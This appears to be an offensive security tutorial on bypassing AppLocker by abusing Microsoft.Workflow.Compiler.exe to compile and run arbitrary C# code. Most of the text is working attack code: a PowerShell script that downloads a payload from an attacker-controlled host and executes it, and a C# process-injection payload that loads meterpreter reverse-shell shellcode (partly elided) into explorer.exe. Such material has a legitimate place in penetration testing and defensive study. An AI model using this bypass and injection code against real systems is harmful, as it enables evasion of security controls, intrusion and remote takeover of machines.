Even with default AppLocker executable restrictions, we can still use binaries on the host to compile and execute arbitrary C# .NET code. The following PowerShell commands will use code from the Microsoft.Workflow.Compiler.exe to generate a valid run.xml file designed to compile and execute a C# .NET payload in the file payload.txt.

Be cognizant of the fact that this PowerShell script reflectively loads assemblies and directly interacts with C# and .NET. If AppLocker scripting restrictions are enabled, we will not be able to execute these commands on the target. In this scenario, we’ll have to generate the run.xml parameter file on a development Windows host and then transfer run.xml and payload.txt to the target.

Once we’ve generated the run.xml parameters file, we can execute the payload by invoking Microsoft.Workflow.Compiler.exe, providing it with the run.xml and results.xml parameters. Any issues with compiling the target payload.txt C# .NET payload will be provided in the results.xml file.

$workflowProgram = (Get-ChildItem `
	-ErrorAction SilentlyContinue `
	-Path "C:\Windows" `
	-Filter "Microsoft.Workflow.Compiler.exe" `
	-Recurse `
	-File | Where-Object {$_.FullName -Like "*Framework64\v4*"}).FullName
 
$workflowAsm = [Reflection.Assembly]::LoadFrom($workflowProgram)
 
$serializeInputToWrapper = `
	[Microsoft.Workflow.Compiler.CompilerWrapper].GetMethod(
		'SerializeInputToWrapper',
		[Reflection.BindingFlags] 'NonPublic, Static'
	)
 
$workflowLibrary = (Get-ChildItem `
	-ErrorAction SilentlyContinue `
	-Path "C:\Windows" `
	-Filter "System.Workflow.ComponentModel.dll" `
	-Recurse `
	-File | Where-Object {$_.FullName -Like "*Framework64\v4*"}).FullName
 
Add-Type -Path $workflowLibrary
 
$compilerParam = New-Object `
	-TypeName Workflow.ComponentModel.Compiler.WorkflowCompilerParameters
 
$compilerParam.GenerateInMemory = $True
$pathVar = "payload.txt"
$output = (Join-Path -Path (Resolve-Path -Path .).Path -ChildPath "run.xml")
 
$tmp = $serializeInputToWrapper.Invoke(
	$null,
	@(
		[Workflow.ComponentModel.Compiler.WorkflowCompilerParameters] $compilerParam,
		[String[]] @(,$pathVar)
	)
)
 
Move-Item $tmp $output
$lHost = "192.168.45.190"
$lPort = "80"
 
Invoke-RestMethod `
	-Uri "http://${lHost}:${lPort}/$pathVar" `
	-UseBasicParsing `
	-OutFile $pathVar
 
. $workflowProgram $output "results.xml"

The following C# .NET code is a simple process injection payload that loads a meterpreter reverse shell payload into the explorer.exe process. We avoid using any non-standard libraries that might require installation or inclusion as this will fail at compile time.

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Workflow.ComponentModel;
public class Run : Activity
{
    [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
    static extern IntPtr OpenProcess(
        uint processAccess,
        bool bInheritHandle,
        int processId
    );
    [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
    static extern IntPtr VirtualAllocEx(
        IntPtr hProcess,
        IntPtr lpAddress,
        uint dwSize,
        uint flAllocationType,
        uint flProtect
    );
    [DllImport("kernel32.dll")]
    static extern bool WriteProcessMemory(
        IntPtr hProcess,
        IntPtr lpBaseAddress,
        byte[] lpBuffer,
        Int32 nSize,
        out IntPtr lpNumberOfBytesWritten
    );
    [DllImport("kernel32.dll")]
    static extern IntPtr CreateRemoteThread(
        IntPtr hProcess,
        IntPtr lpThreadAttributes,
        uint dwStackSize,
        IntPtr lpStartAddress,
        IntPtr lpParameter,
        uint dwCreationFlags,
        IntPtr lpThreadId
    );
    public Run()
    {
        int explorerId = Process.GetProcessesByName("explorer")[0].Id;
        IntPtr hProcess = OpenProcess(0x001F0FFF, false, explorerId);
        IntPtr addr =
            VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
        byte[] buf = new byte[854] {
            0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xcc, 0x00, 0x00, 0x00, 0x41,
            // ...
            0xc2, 0xf0, 0xb5, 0xa2, 0x56, 0xff, 0xd5
        };
        IntPtr outSize;
        WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);
        IntPtr hThread = CreateRemoteThread(
            hProcess,
            IntPtr.Zero,
            0,
            addr,
            IntPtr.Zero,
            0,
            IntPtr.Zero
        );
    }
}